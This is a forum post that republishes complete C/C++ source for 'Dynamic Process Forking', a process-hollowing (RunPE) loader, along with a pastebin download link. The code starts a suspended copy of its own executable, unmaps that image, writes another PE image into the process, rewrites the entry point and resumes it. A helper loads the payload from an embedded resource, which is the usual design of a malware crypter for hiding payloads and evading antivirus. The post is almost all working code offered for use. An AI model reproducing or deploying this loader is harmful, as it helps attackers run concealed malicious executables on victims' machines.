Jump to content
Nytro

[C] Dynamic Process Forking of Portable Executable

Recommended Posts

Posted

Dynamic Process Forking of Portable Executable

    //--------------------------------------------------------
// Dynamic Process Forking of Portable Executable
// Author : Vrillon / Venus
// Date : 07/14/2008
//--------------------------------------------------------
/*********************************************************/
/* With this header, you can create and run a process */
/* from memory and not from a file. */
/*********************************************************/

#ifdef WIN32
#include <windows.h>
#else
#error Process Forking Requires a Windows Operating System
#endif

#include <stdio.h>

/////////////////////////////////////////////////////////////
// NtUnmapViewOfSection (ZwUnmapViewOfSection)
// Used to unmap a section from a process.
typedef long int (__stdcall* NtUnmapViewOfSectionF)(HANDLE,PVOID);
NtUnmapViewOfSectionF NtUnmapViewOfSection = (NtUnmapViewOfSectionF)GetProcAddress(LoadLibrary("ntdll.dll"),"NtUnmapViewOfSection");

/////////////////////////////////////////////////////////////
// Fork Process
// Dynamically create a process based on the parameter 'lpImage'. The parameter should have the entire
// image of a portable executable file from address 0 to the end.
bool ForkProcess(LPVOID lpImage)
{
// Variables for Process Forking
long int lWritten;
long int lHeaderSize;
long int lImageSize;
long int lSectionCount;
long int lSectionSize;
long int lFirstSection;
long int lPreviousProtection;
long int lJumpSize;

bool bReturnValue;

LPVOID lpImageMemory;
LPVOID lpImageMemoryDummy;

IMAGE_DOS_HEADER dsDosHeader;
IMAGE_NT_HEADERS ntNtHeader;
IMAGE_SECTION_HEADER shSections[512 * 2];

PROCESS_INFORMATION piProcessInformation;
STARTUPINFO suStartUpInformation;

CONTEXT cContext;

// Variables for Local Process
FILE* fFile;
char* pProcessName;

long int lFileSize;
long int lLocalImageBase;
long int lLocalImageSize;

LPVOID lpLocalFile;

IMAGE_DOS_HEADER dsLocalDosHeader;
IMAGE_NT_HEADERS ntLocalNtHeader;

/////////////////////////////////////////////////////////////////
// End Variable Definition

bReturnValue = false;

pProcessName = new char[MAX_PATH];
ZeroMemory(pProcessName,MAX_PATH);

// Get the file name for the dummy process
if(GetModuleFileName(NULL,pProcessName,MAX_PATH) == 0)
{
delete [] pProcessName;
return bReturnValue;
}

// Open the dummy process in binary mode
fFile = fopen(pProcessName,"rb");
if(!fFile)
{
delete [] pProcessName;
return bReturnValue;
}

fseek(fFile,0,SEEK_END);

// Get file size
lFileSize = ftell(fFile);

rewind(fFile);

// Allocate memory for dummy file
lpLocalFile = new LPVOID[lFileSize];
ZeroMemory(lpLocalFile,lFileSize);

// Read memory of file
fread(lpLocalFile,lFileSize,1,fFile);

// Close file
fclose(fFile);

// Grab the DOS Headers
memcpy(&dsLocalDosHeader,lpLocalFile,sizeof(dsLocalDosHeader));

if(dsLocalDosHeader.e_magic != IMAGE_DOS_SIGNATURE)
{
delete [] pProcessName;
delete [] lpLocalFile;
return bReturnValue;
}

// Grab NT Headers
memcpy(&ntLocalNtHeader,(LPVOID)((long int)lpLocalFile+dsLocalDosHeader.e_lfanew),sizeof(dsLocalDosHeader));

if(ntLocalNtHeader.Signature != IMAGE_NT_SIGNATURE)
{
delete [] pProcessName;
delete [] lpLocalFile;
return bReturnValue;
}

// Get Size and Image Base
lLocalImageBase = ntLocalNtHeader.OptionalHeader.ImageBase;
lLocalImageSize = ntLocalNtHeader.OptionalHeader.SizeOfImage;

// Deallocate
delete [] lpLocalFile;

// Grab DOS Header for Forking Process
memcpy(&dsDosHeader,lpImage,sizeof(dsDosHeader));

if(dsDosHeader.e_magic != IMAGE_DOS_SIGNATURE)
{
delete [] pProcessName;
return bReturnValue;
}

// Grab NT Header for Forking Process
memcpy(&ntNtHeader,(LPVOID)((long int)lpImage+dsDosHeader.e_lfanew),sizeof(ntNtHeader));

if(ntNtHeader.Signature != IMAGE_NT_SIGNATURE)
{
delete [] pProcessName;
return bReturnValue;
}

// Get proper sizes
lImageSize = ntNtHeader.OptionalHeader.SizeOfImage;
lHeaderSize = ntNtHeader.OptionalHeader.SizeOfHeaders;

// Allocate memory for image
lpImageMemory = new LPVOID[lImageSize];
ZeroMemory(lpImageMemory,lImageSize);

lpImageMemoryDummy = lpImageMemory;

lFirstSection = (long int)(((long int)lpImage+dsDosHeader.e_lfanew) + sizeof(IMAGE_NT_HEADERS));

memcpy(shSections,(LPVOID)(lFirstSection),sizeof(IMAGE_SECTION_HEADER)*ntNtHeader.FileHeader.NumberOfSections);
memcpy(lpImageMemoryDummy,lpImage,lHeaderSize);

// Get Section Alignment
if((ntNtHeader.OptionalHeader.SizeOfHeaders % ntNtHeader.OptionalHeader.SectionAlignment) == 0)
{
lJumpSize = ntNtHeader.OptionalHeader.SizeOfHeaders;
}
else
{
lJumpSize = (ntNtHeader.OptionalHeader.SizeOfHeaders/ntNtHeader.OptionalHeader.SectionAlignment);
lJumpSize += 1;
lJumpSize *= (ntNtHeader.OptionalHeader.SectionAlignment);
}

lpImageMemoryDummy = (LPVOID)((long int)lpImageMemoryDummy + lJumpSize);

// Copy Sections To Buffer
for(lSectionCount = 0; lSectionCount < ntNtHeader.FileHeader.NumberOfSections; lSectionCount++)
{
lJumpSize = 0;
lSectionSize = shSections[lSectionCount].SizeOfRawData;

memcpy(lpImageMemoryDummy,(LPVOID)((long int)lpImage + shSections[lSectionCount].PointerToRawData),lSectionSize);

if((shSections[lSectionCount].Misc.VirtualSize % ntNtHeader.OptionalHeader.SectionAlignment)==0)
{
lJumpSize = shSections[lSectionCount].Misc.VirtualSize;
}
else
{
lJumpSize = (shSections[lSectionCount].Misc.VirtualSize/ntNtHeader.OptionalHeader.SectionAlignment);
lJumpSize += 1;
lJumpSize *= (ntNtHeader.OptionalHeader.SectionAlignment);
}

lpImageMemoryDummy = (LPVOID)((long int)lpImageMemoryDummy + lJumpSize);
}

ZeroMemory(&suStartUpInformation,sizeof(STARTUPINFO));
ZeroMemory(&piProcessInformation,sizeof(PROCESS_INFORMATION));
ZeroMemory(&cContext,sizeof(CONTEXT));

suStartUpInformation.cb = sizeof(suStartUpInformation);

// Create Process
if(CreateProcess(NULL,pProcessName,NULL,NULL,false,CREATE_SUSPENDED,NULL,NULL,&suStartUpInformation,&piProcessInformation))
{
cContext.ContextFlags = CONTEXT_FULL;
GetThreadContext(piProcessInformation.hThread,&cContext);

// Check image base and image size
if(lLocalImageBase == (long int)ntNtHeader.OptionalHeader.ImageBase && lImageSize <= lLocalImageSize)
{
VirtualProtectEx(piProcessInformation.hProcess,(LPVOID)((long int)ntNtHeader.OptionalHeader.ImageBase),lImageSize,PAGE_EXECUTE_READWRITE,(unsigned long*)&lPreviousProtection);
}
else
{
if(!NtUnmapViewOfSection(piProcessInformation.hProcess,(LPVOID)((DWORD)lLocalImageBase)))
VirtualAllocEx(piProcessInformation.hProcess,(LPVOID)((long int)ntNtHeader.OptionalHeader.ImageBase),lImageSize,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
}

// Write Image to Process
if(WriteProcessMemory(piProcessInformation.hProcess,(LPVOID)((long int)ntNtHeader.OptionalHeader.ImageBase),lpImageMemory,lImageSize,(unsigned long*)&lWritten))
{
bReturnValue = true;
}

// Set Image Base
if(WriteProcessMemory(piProcessInformation.hProcess,(LPVOID)((long int)cContext.Ebx + 8),&ntNtHeader.OptionalHeader.ImageBase,4,(unsigned long*)&lWritten))
{
if(bReturnValue == true)
bReturnValue = true;
}

if(bReturnValue == false)
{
delete [] pProcessName;
delete [] lpImageMemory;
return bReturnValue;
}

// Set the new entry point
cContext.Eax = ntNtHeader.OptionalHeader.ImageBase + ntNtHeader.OptionalHeader.AddressOfEntryPoint;

SetThreadContext(piProcessInformation.hThread,&cContext);

if(lLocalImageBase == (long int)ntNtHeader.OptionalHeader.ImageBase && lImageSize <= lLocalImageSize)
VirtualProtectEx(piProcessInformation.hProcess,(LPVOID)((long int)ntNtHeader.OptionalHeader.ImageBase),lImageSize,lPreviousProtection,0);

// Resume the process
ResumeThread(piProcessInformation.hThread);
}

delete [] pProcessName;
delete [] lpImageMemory;

return bReturnValue;
}

/////////////////////////////////////////////////////////////
// Fork Process From Resource
// Dynamically create a process from a resource file.
bool ForkProcessFromResource(int iResource,char* pResourceSection)
{
HGLOBAL hResData;
HRSRC hResInfo;

LPVOID lpRes;
LPVOID lpMemory;
long int lSize;

HMODULE hModule;

bool bReturn;

hModule = GetModuleHandle(0);
bReturn = false;

if(!hModule)
return bReturn;

hResInfo = FindResource(hModule, MAKEINTRESOURCE(iResource), pResourceSection);
if(!hResInfo)
{
return bReturn;
}

hResData = LoadResource(hModule, hResInfo);
if(!hResData)
{
return bReturn;
}

lpRes = LockResource(hResData);
if(!lpRes)
{
FreeResource(hResData);
return bReturn;
}


lSize = SizeofResource(hModule, hResInfo);

lpMemory = new LPVOID[lSize];
ZeroMemory(lpMemory,lSize);

memcpy (lpMemory, lpRes, lSize);

bReturn = ForkProcess(lpMemory);

FreeResource(hResData);
delete [] lpMemory;

return bReturn;
}

Download:

http://pastebin.com/6QXuSsa7

Via: Run from memory - rohitab.com - Forums

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...